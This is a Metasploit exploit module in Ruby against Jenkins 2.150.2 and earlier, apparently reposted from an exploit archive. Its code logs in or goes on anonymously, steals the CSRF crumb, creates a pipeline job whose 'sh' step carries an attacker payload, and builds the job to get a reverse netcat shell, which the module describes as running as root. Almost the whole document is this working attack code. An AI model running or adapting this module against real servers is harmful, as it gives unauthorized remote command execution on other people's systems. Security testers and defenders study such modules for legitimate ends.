Jenkins 2.150.2 – Remote Command Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Jenkins <= 2.150.2 Remote Command Execution via Node JS (Metasploit)', 'Description' => %q{ This module can run commands on the system using Jenkins users who has JOB creation and BUILD privileges. The vulnerability is exploited by a small script prepared in NodeJS. The sh parameter allows us to run commands. Sample script: node { sh "whoami" } In addition, ANONYMOUS users also have the authority to JOB create and BUILD by default. Therefore, all users without console authority can run commands on the system as root privilege. }, 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, PoC & Msf Module ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://pentest.com.tr/exploits/Jenkins-Remote-Command-Execution-via-Node-JS-Metasploit.html'] ], 'Privileged' => true, 'Payload' => { 'DisableNops' => true, 'Space' => 512, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'reverse netcat generic perl ruby python telnet', } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [[ 'Jenkins <= 2.150.2', { }]], 'DisclosureDate' => 'Feb 11 2019', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' })) register_options( [ OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]), OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]), OptString.new('PATH', [ true, 'The path to jenkins', '/' ]), ], self.class) end ## # Jenkins activity check ## def check res = send_request_cgi({'uri' => "/login"}) if res and res.headers.include?('X-Jenkins') return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def exploit print_status('Attempting to login to Jenkins dashboard') res = send_request_cgi({'uri' => "/script"}) if not (res and res.code) fail_with(Exploit::Failure::Unknown) end sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0] @cookie = "#{sessionid}" print_status("#{sessionid}") if res.code != 200 print_status('Logging in...') ## # Access control and information ## res = send_request_cgi({ 'method' => 'POST', 'uri' => "/j_acegi_security_check", 'cookie' => @cookie, 'vars_post' => { 'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'), 'j_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal'), 'Submit' => 'Sign+in' } }) if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/ print_error('User Login failed. If anonymous login is active, exploit will continue.') end else print_status('No authentication required, skipping login...') end ## # Check Crumb for create pipeline ## cookies = res.get_cookies res = send_request_cgi({ 'method' => 'GET', 'uri' => "/view/all/newJob", 'cookie' => cookies }) html = res.body if html =~ /Jenkins-Crumb/ print_good("Login Successful") else print_status("Service found, but login failed") exit 0 end crumb = res.body.split('Jenkins-Crumb')[1].split('");<')[0].split('"').last print_status("Jenkins-Crumb: #{crumb}") ## # Create Pipeline ## res = send_request_cgi({ 'method' => 'POST', 'uri' => "/view/all/createItem", 'cookie' => cookies, 'vars_post' => { 'name' => "cmd", 'mode' => "org.jenkinsci.plugins.workflow.job.WorkflowJob", 'from' => "", 'Jenkins-Crumb' => "#{crumb}", 'json' => "%7B%22name%22%3A+%22cmd%22%2C+%22mode%22%3A+%22org.jenkinsci.plugins.workflow.job.WorkflowJob%22%2C+%22from%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%22528f90f71b2d2742299b4daf503130ac%22%7" } }) ## # Configure Pipeline ## shell = payload.encoded res = send_request_cgi({ 'method' => 'POST', 'uri' => "/job/cmd/configSubmit", 'cookie' => cookies, 'vars_post' => { 'description' => "cmd", 'Jenkins-Crumb' => "#{crumb}", 'json' => "{\"description\": \"cmd\", \"properties\": {\"stapler-class-bag\": \"true\", \"hudson-security-AuthorizationMatrixProperty\": {}, \"jenkins-model-BuildDiscarderProperty\": {\"specified\": false, \"\": \"0\", \"strategy\": {\"daysToKeepStr\": \"\", \"numToKeepStr\": \"\", \"artifactDaysToKeepStr\": \"\", \"artifactNumToKeepStr\": \"\", \"stapler-class\": \"hudson.tasks.LogRotator\", \"$class\": \"hudson.tasks.LogRotator\"}}, \"org-jenkinsci-plugins-workflow-job-properties-DisableConcurrentBuildsJobProperty\": {\"specified\": false}, \"org-jenkinsci-plugins-workflow-job-properties-DisableResumeJobProperty\": {\"specified\": false}, \"com-coravy-hudson-plugins-github-GithubProjectProperty\": {}, \"org-jenkinsci-plugins-workflow-job-properties-DurabilityHintJobProperty\": {\"specified\": false, \"hint\": \"MAX_SURVIVABILITY\"}, \"org-jenkinsci-plugins-pipeline-modeldefinition-properties-PreserveStashesJobProperty\": {\"specified\": false, \"buildCount\": \"1\"}, \"hudson-model-ParametersDefinitionProperty\": {\"specified\": false}, \"jenkins-branch-RateLimitBranchProperty$JobPropertyImpl\": {}, \"org-jenkinsci-plugins-workflow-job-properties-PipelineTriggersJobProperty\": {\"triggers\": {\"stapler-class-bag\": \"true\"}}}, \"disable\": false, \"hasCustomQuietPeriod\": false, \"quiet_period\": \"5\", \"displayNameOrNull\": \"\", \"\": \"0\", \"definition\": {\"script\": \"node {\\n sh \\\"#{shell}\\\"\\n}\", \"\": [\"try sample Pipeline...\", \"\\u0001\\u0001\"], \"sandbox\": true, \"stapler-class\": \"org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition\", \"$class\": \"org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition\"}, \"core:apply\": \"\", \"Jenkins-Crumb\": \"#{crumb}\"}", 'Submit' => "Save" } }) if res.code == 302 print_good("Pipeline was created and Node JS code was integrated.") end ## # Build Pipeline and Execute payload ## print_status("Trying to get remote shell...") res = send_request_cgi({ 'method' => 'POST', 'uri' => "/job/cmd/build?delay=0sec", 'cookie' => cookies, 'vars_post' => { 'Jenkins-Crumb' => "#{crumb}" } }) handler end end ## # End ## |